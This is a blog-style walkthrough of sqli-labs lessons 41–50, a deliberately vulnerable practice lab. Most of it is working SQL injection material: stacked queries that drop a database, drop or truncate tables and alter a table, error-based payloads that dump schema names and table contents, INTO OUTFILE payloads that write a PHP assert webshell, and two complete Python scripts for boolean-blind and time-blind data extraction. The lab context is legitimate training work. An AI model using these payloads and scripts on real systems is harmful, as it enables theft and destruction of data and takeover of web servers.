Sqli labs customs clearance (less41~less50)

Keywords: PHP Database MySQL Cyber Security SQL injection

catalogue

Less41

Less42

Less43

Less44

Less45

Less46

Less47

Less48

Less49

Less50

Less41

This level is similar to Less40. First find the closure through Boolean blind injection, and then stack and inject recklessly.

Find closure:

http://192.168.101.16/sqli-labs-master/Less-41/?id=1    There are query results

http://192.168.101.16/sqli-labs-master/Less-41/?id=1'    No query results

http://192.168.101.16/sqli-labs-master/Less-41/?id=1"   No query results

http://192.168.101.16/sqli-labs-master/Less-41/?id=1-- s has query results

No need to close (I like the pink of this level too much)

  This is about deleting the xiang table of the xiannv database with Stack Injection:

http://192.168.101.16/sqli-labs-master/Less-41/?id=1;drop table xiannv.xiang-- s

You can see from the database that there are no tables in the xiannv database

The code of this level is similar to that of the previous levels. I won't look at it

Less42

Several links turned around, only http://192.168.101.16/sqli-labs-master/Less-42/index.php There is an input box

Note that when using hackbar for sql injection, the url column of hackbar needs to be filled in:

http://192.168.101.16/sqli-labs-master/Less-42/login.php

Because the data is submitted to login.php, the web page has the function of jumping when submitting data, but hackbar does not

Post data respectively enter the following two payload s to test whether there is an error injection point in the Username input box:

login_user=admin'&login_password=pass&mysubmit=Login

login_user=admin"&login_password=pass&mysubmit=Login

The results of the two times are the same, as shown in the figure below. No error is reported and the login is not successful

Post data respectively enter the following two payload s to test whether there is an error injection point in the Password input box:

login_user=admin&login_password=pass'&mysubmit=Login

login_user=admin&login_password=pass"&mysubmit=Login

The one with single quotation marks (the first one) echoes the sql syntax error shown in the figure below. From the error information, the closed quotation marks are single quotation marks

The previous level deleted the xiang table of the xiannv database, and this level deleted the xiannv database

Post data input:

login_user=admin&login_password=pass';drop database xiannv#&mysubmit=Login

navicat on the server closes the connection and reconnects again. It is found that there is no xiannv database in the database list on the left

The following code is analyzed:

Submit the form data to login.php

Go back to login.php and see that the value of login_user is used mysqli_real_escape_string() to escape special characters, and this level does not meet the conditions of wide byte injection, so the single quotation mark of username cannot be closed. However, the value of login_password is substituted into the sql statement without processing, and the single quotation mark can be closed to bring in the added sql statement.

Less43

It's similar to the last level, but it's different

Again, if hackbar is used for injection, the address column of hackbar should be filled in:

http://192.168.101.16/sqli-labs-master/Less-43/login.php

That is, the target page of the form submission

Follow the routine of the previous level to find the closure and try

login_user=admin&login_password=pa'&mysubmit=Login

It is found that the closing is')

Next, it's time to do whatever you want. Because the test database created by stack injection has been tossed in the previous few levels, I first manually create a test database on the server, and then continue to toss it.

As shown in the figure below, I built a plant table in the earth database, which contains three rows of data, which are the names of three kinds of flowers

Then enter in the Post data of hackbar:

login_user=admin&login_password=pa');delete from earth.plant#&mysubmit=Login

  Look at the server. All the flowers in the plant table have been pulled out

Note: since the results of stacking and injecting two statements are separate, under some code logic (such as this off), sql errors will be reported only when the first statement is wrong. If the first statement is correct, even if there are errors in the second statement, they will not be echoed on the page.

There is nothing to say about the code. It is the same as the customs principle, that is, closing multiple parentheses. In addition, from the code logic, it can be seen that the failure to report sql syntax errors in this customs is judged by whether the first statement is executed successfully. If the first statement is executed successfully, the second statement will be considered as failure and will not report errors.

Less44

In fact, there is not much change in this level. The change is mainly in the step of finding closure. This level will no longer report sql syntax errors, so we need to find closure by Boolean blind annotation.

Specifically, for this shooting range, if the page does not report sql syntax errors after the four closed payload s in Less42 are sent, it means that the page will not echo sql syntax errors.

In fact, the method of blind note finding closure is also very simple. When the correct values of two input boxes such as Benguan are not known, add or 1=1# after the closure symbol in the common payload. If the returned page shows that the login is successful, it indicates that the closure is successful.

Using hackbar to http://192.168.101.16/sqli-labs-master/Less-44/login.php Send the following payload to check whether there is an injection point in the username input box

login_user=admin' or 1=1#&login_password=pass&mysubmit=Login

login_user=admin" or 1=1#&login_password=pass&mysubmit=Login

The page echo is the page with login failure as shown in the figure below, and the injection point is not found in the username input box

Using hackbar to http://192.168.101.16/sqli-labs-master/Less-44/login.php Send the following payload to check whether there is an injection point in the password input box

login_user=admin&login_password=pass" or 1=1#&mysubmit=Login

login_user=admin&login_password=pass' or 1=1#&mysubmit=Login

The first one still shows the page of login failure, but the second one shows the page of login success

Next is the part of stacking injection. Let's stack it:

I still closed the table, and I wrote a record in it by hand

Then in the hackbar http://192.168.101.16/sqli-labs-master/Less-44/login.php Send the following payload to delete the data in the table earth.plant

login_user=admin&login_password=pass';truncate table earth.plant#&mysubmit=Login

On the server, refresh the display of the following plant table and find that the data in the table has been deleted

The related code is basically the same as the code of Less42, but the sql syntax error will not be reported when the first statement fails, so the code will not take a screenshot.

Less45

The difference between this level and the previous level is that it is closed. Go through the closed routine according to the previous level (of course, due to different closures, the payload of the previous level cannot return to the login success page),

When hackbar to http://192.168.101.16/sqli-labs-master/Less-45/login.php Submit payload:

login_user=admin&login_password=pass') or 1=1#&mysubmit=Login

The login success page is returned

Then it's time to think about what this level is for. After thinking for a while, I decided to add a column to earth.plant.

Using hackbar to http://192.168.101.16/sqli-labs-master/Less-45/login.php Submit payload:

login_user=admin&login_password=pass');alter table earth.plant add column num int(10)#&mysubmit=Login

On the server, earth.plant adds a column (field) named num

Less46

Try to take 1, 2 and 3 respectively for the sort value, and you can find that the parameter of this off is the value after order by, that is, the sort parameter value of this off indicates which column of the table is used to arrange the query results

http://192.168.101.16/sqli-labs-master/Less-46/?sort=1
http://192.168.101.16/sqli-labs-master/Less-46/?sort=2
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3

For example, the value of sort in the following figure is 3, which means that the query results are sorted according to the size of the third column, that is, PASSWORD

  You can't connect union select after order by. You can try not to report sql syntax errors. If you can, you can use error injection.

Address field input: http://192.168.101.16/sqli-labs-master/Less-46/?sort=3'

sql syntax error is reported. According to the error information, there is no closing symbol in this relationship.

  Next, you can use the error injection method to explode the data:

#Gets the names of all databases on the server
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)
#Get all table names of pikachu database
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3  and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)
#Gets all column names of the message table in the pikachu database
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3  and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)
#Get all the values of the id and content columns of the message table in the pikachu database
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3  and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)

final result

The following payload can be used to write webshell:

http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 limit 0,1  into outfile 'C:/phpstudy_pro/WWW/46.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334365D293B3F3E

  lines terminated by xxx is to add xxx after each line of the query result, so limit 0,1 is added in the payload to restrict the query result to take only the first line.

webshell written on the server

Important digression:

I originally thought that as long as sort does not exist, the connector can be or, but this is not the case.

For ease of understanding, I will directly demonstrate navicat on the server:

When the query is: SELECT * FROM users ORDER BY 4

An error is reported in the returned result. There is no column 4

When the query is:

SELECT * FROM users ORDER BY 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)

The query results are output... And it is sorted by the first column.. The fairy was shocked...

Then I tried

SELECT 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)

Sure enough, the result is 1

According to my conjecture, the result is a Boolean value. All numbers that are not 0 are true. Here, 4 is true, so a short circuit is triggered, and the statements after or are not executed.

According to this speculation, two information can be obtained:

(1) The error report of updatexml is an error report during the execution of sql statements, that is, an error will not be reported until it is executed

(2) If ORDER BY 0, or can be used as the connector

want a go:

SELECT * FROM users ORDER BY 0 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)

OK, plan pass~

This code is nothing. Just pay attention to the position of the input parameter in the sql query

Less47

It's basically the same as the previous level, but it's different

Address field input: http://192.168.101.16/sqli-labs-master/Less-47/?sort=1'

From the error report, we can know that the closing is a single quotation mark

  The payload of burst data is as follows:

#Gets the names of all databases on the server
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)-- s
#Get all table names of pikachu database
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)-- s
#Gets all column names of the message table in the pikachu database
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)-- s
#Get all the values of the id and content columns of the message table in the pikachu database
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)-- s

Final result:

  Write the payload of webshell as follows:

 http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' limit 0,1  into outfile 'C:/phpstudy_pro/WWW/47.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334375D293B3F3E -- s

webshell written on server:

  This code is different from the previous one in terms of the closing characters of parameters in sql statements. I won't say more

Less48

(there are many analysis parts for finding customs clearance methods in this pass. If you feel bored, you can directly pull it to the bottom)

Address bar entry http://192.168.101.16/sqli-labs-master/Less-48/?sort=1

Return correct query results

  Address field input:

http://192.168.101.16/sqli-labs-master/Less-48/?sort=1'

http://192.168.101.16/sqli-labs-master/Less-48/?sort=1"

No query results returned

  From the above operation results:

(1) This switch is digital without closing

(2) Error injection cannot be reported at this level, but Boolean blind injection can be used

Now I have to change my python script again... I originally planned to change it to a payload in the form of and/or xxx, which is similar to the original, but I found it impossible... I tried navicat on the server and found that the following statements have the same query results

SELECT * FROM users ORDER BY 3 and 0
SELECT * FROM users ORDER BY 3 and 1
SELECT * FROM users ORDER BY 3 or 0
SELECT * FROM users ORDER BY 3 or 1

The query results are

It seems that this road is impassable

I suddenly remembered that I had encountered this situation in webload before   WebGoat (A1) SQL Injection (mitigation)_ Arrow rain mirror House - CSDN blog

  So I tried on navicat again. The results returned by the following two query statements are the same as the above figure. The fairy is speechless

SELECT * FROM users ORDER BY (CASE WHEN (1) THEN 1 ELSE 2 END) 
SELECT * FROM users ORDER BY (CASE WHEN (0) THEN 1 ELSE 2 END) 

But the fairy thought again, what about changing the column names after THEN and ELSE? Sure enough

SELECT * FROM users ORDER BY (CASE WHEN (1) THEN id ELSE username END) 

The query results are sorted by id

SELECT * FROM users ORDER BY (CASE WHEN (0) THEN id ELSE username END) 

  The query results are sorted by username

In other words, if I want to use this method, I have to know the column name first... The fairy is speechless again (later think... The column name is echoed on the web page. In fact, this method is OK and wrong)

Baidu searched and found that the rand() function can be used to blind inject when the injection point is in order by. Let's try on navicat first

It is true that the query results of rand(0) and rand(1) are different. This path is not valid

 

  For the convenience of script recognition, add a limit 0,1 at the end to keep only the first line of results.

The idea of this customs clearance is to let the python script recognize the difference between the query results of SELECT * FROM users ORDER BY rand(1) limit 0,1 and SELECT * FROM users ORDER BY rand(0) limit 0,1.

  Let's see the final results

#!/usr/bin/python3
# coding=utf-8
 
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
 
import requests
 
url = "http://192.168.101.16/sqli-labs-master/Less-48/ "# the url with Exploitable vulnerability shall be filled in according to the actual situation
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request message header, filled in according to the actual situation
 
keylist = [chr(i) for i in range(33, 127)]                                     #Including numbers, upper and lower case letters and visible special characters
flag = 'admin3'                                        #The character used to judge whether the additional sql statement is true, which is filled in according to the echo of the web page
 
def Database48():
    n = 100                                                                     #Predict the maximum possible length of the current database name and fill it in according to the actual situation
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "rand(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+") limit 0,1-- s"           #All payload s shall be filled in according to the actual situation
            param = {
            "sort":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #The GET method sends a request with payload
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "rand(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+") limit 0,1-- s"
                param = {
                "sort":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all databases contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "rand(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"') limit 0,1-- s"
            param = {
            "sort":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of all databases is "+str(db))
    
def Tables48(database):
    n = 100                                                                     #Predict the maximum possible length of all table names in the current database, and fill in according to the actual situation
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s"
            param = {
            "sort":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s"
                param = {
                "sort":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "rand(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s"
            param = {
            "sort":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables is "+str(tname))
 
 
def Columns48(database,table):                                                          #The table parameter is the name of the data table to be exploded. Remember to add single quotation marks
    n = 200                                                                     #Predict the maximum possible length of all column names in a table, and fill it in according to the actual situation
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s"
            param = {
            "sort":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s"
                param = {
                "sort":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "rand(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s"
            param = {
            "sort":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))
 
def Content48(database,table,col1,col2):                                                #The table parameter is the name of the data table to be blasted, and col1 and col2 are the columns to be blasted. Remember to add single quotes
    n = 200                                                                     #Predict the maximum possible length of the expected data and fill it in according to the actual situation
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+") limit 0,1-- s"
            param = {
            "sort":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+") limit 0,1-- s"
                param = {
                "sort":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "rand(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"') limit 0,1-- s"
            param = {
            "sort":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

test result

  The source code is not analyzed, but LESS46 of print_r(mysql_error()); is removed

Less49

First, judge whether there is closure. Enter the following payload respectively:

http://192.168.101.16/sqli-labs-master/Less-49/?sort=1"
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'

It is found that the first payload (double quotation marks) returns the correct query result

The second payload (single quotation mark) does not return query results

  It can be seen that the closure contains single quotation marks. Use the following payload to verify whether the closure is a single quotation mark

http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'-- s

Returns the correct query result, indicating that the closing is a single quotation mark.

  To see if we can blind Boolean injection, we tried the following two groups of payload

http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(1)-- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(0)-- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(1)' -- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(0)' -- s

  Both payload s in the first group return the results shown in the figure below, and there is no difference (I don't understand what sort this is based on...)

In the second group, both payload s return the results shown in the figure below. There is no difference (in fact, order by should not be followed by quotation marks, because quotation marks are not required for either column number or column name. In fact, there are any characters in quotation marks, and the results are the same.)

It seems that there is no blind injection in this level... We can only try the painful time blind injection

Enter the following two payloads. It is found that there is no delay in the echo of the first payload and there is delay in the second payload. The reason for sleep(0.1) here is that there are too many rows of returned value from sql query, and sleep will occur in each row. Therefore, the value setting is a little smaller, and the total amount is about 1.5s

http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(0,sleep(0.1),1) -- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(1,sleep(0.1),1) -- s

  Now I'll change the script of time blind injection I wrote before... Pain

# !/usr/bin/python3
# coding=utf-8

"""
functions for time-based sql injection(blind)

:copyright: Copyright (c) 2019, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-49/ "# the url with Exploitable vulnerability shall be filled in according to the actual situation
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request message header, filled in according to the actual situation

keylist = [chr(i) for i in range(33, 127)]                                     #Including numbers, upper and lower case letters and visible special characters

def Database49():
    n = 100                                                                      #Predict the maximum possible length of the current database name and fill it in according to the actual situation
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1' and  if(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+",sleep(0.1),1)-- ss"           #All payload s shall be filled in according to the actual situation
            param = {
            "sort":payload1,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)     #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions
                k=k
                n=j     
            except:
                n=n
                k=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1' and  if(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+",sleep(0.1),1)-- ss"
                param = {
                "sort":payload2,
                }
                try:
                    response = requests.get(url, params = param, headers = headers,timeout=1)
                except:
                    length = i
                    break
            break
        else:
            break
    print("the name of all databases contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1' and if(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
            param = {
            "sort":payload3,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)
            except:
                db = db+c
                break
    print("the name of all databases is "+str(db))
    
def Tables49(database):
    n = 100                                                                     #Predict the maximum possible length of all table names in the current database, and fill in according to the actual situation
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss"
            param = {
            "sort":payload4,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)     #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions
                k=k
                n=j     
            except:
                n=n
                k=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss"
                param = {
                "sort":payload5,
                }
                try:
                    response = requests.get(url, params = param, headers = headers,timeout=1)
                except:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
            param = {
            "sort":payload6,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)
            except:
                tname = tname+c
                break
    print("the name of all tables is "+str(tname))


def Columns49(database,table):
    n = 200                                                                     #Predict the maximum possible length of all column names in a table, and fill it in according to the actual situation
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss"
            param = {
            "sort":payload7,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)     #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions
                k=k
                n=j     
            except:
                n=n
                k=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss"
                param = {
                "sort":payload8,
                }
                try:
                    response = requests.get(url, params = param, headers = headers,timeout=1)
                except:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
            param = {
            "sort":payload9,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)
            except:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def Content49(database,table,col1,col2):
    n = 200                                                                     #Predict the maximum possible length of the expected data and fill it in according to the actual situation
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+",sleep(0.1),1)-- ss"
            param = {
            "sort":payload10,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)     #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions
                k=k
                n=j     
            except:
                n=n
                k=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+",sleep(0.1),1)-- ss"
                param = {
                "sort":payload11,
                }
                try:
                    response = requests.get(url, params = param, headers = headers,timeout=1)
                except:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1' and if(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
            param = {
            "sort":payload12,
            }
            try:
                response = requests.get(url, params = param, headers = headers,timeout=1)
            except:
                content = content+c
                break
    print("the content is "+str(content))

test result

  The source code of this level is not analyzed. It is similar to the previous level, that is, the sql query statement has a single quotation mark closing that adds to the snake.

Less50

Entering the following two URLs in the browser address bar will report sql syntax errors. It can be seen that this level does not need to be closed

http://192.168.101.16/sqli-labs-master/Less-50/?sort=1"
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1'

This is about stack injection, so write a webshell with stack injection. The payload is as follows:

http://192.168.101.16/sqli-labs-master/Less-50/?sort=1;select '<?php assert($_POST[less50]);?>' into outfile 'C:/phpstudy_pro/WWW/less50.php'

  webshell written on server

This code is not shown. It is a combination of order by injection level (such as Less46) and stack injection level. Like stack injection level, it can only display the results of the first sql statement, and only when the first statement has a problem, it will report a syntax error; Therefore, the operation of burst data still depends on error injection.

Posted by jaikar on Thu, 16 Sep 2021 13:44:57 -0700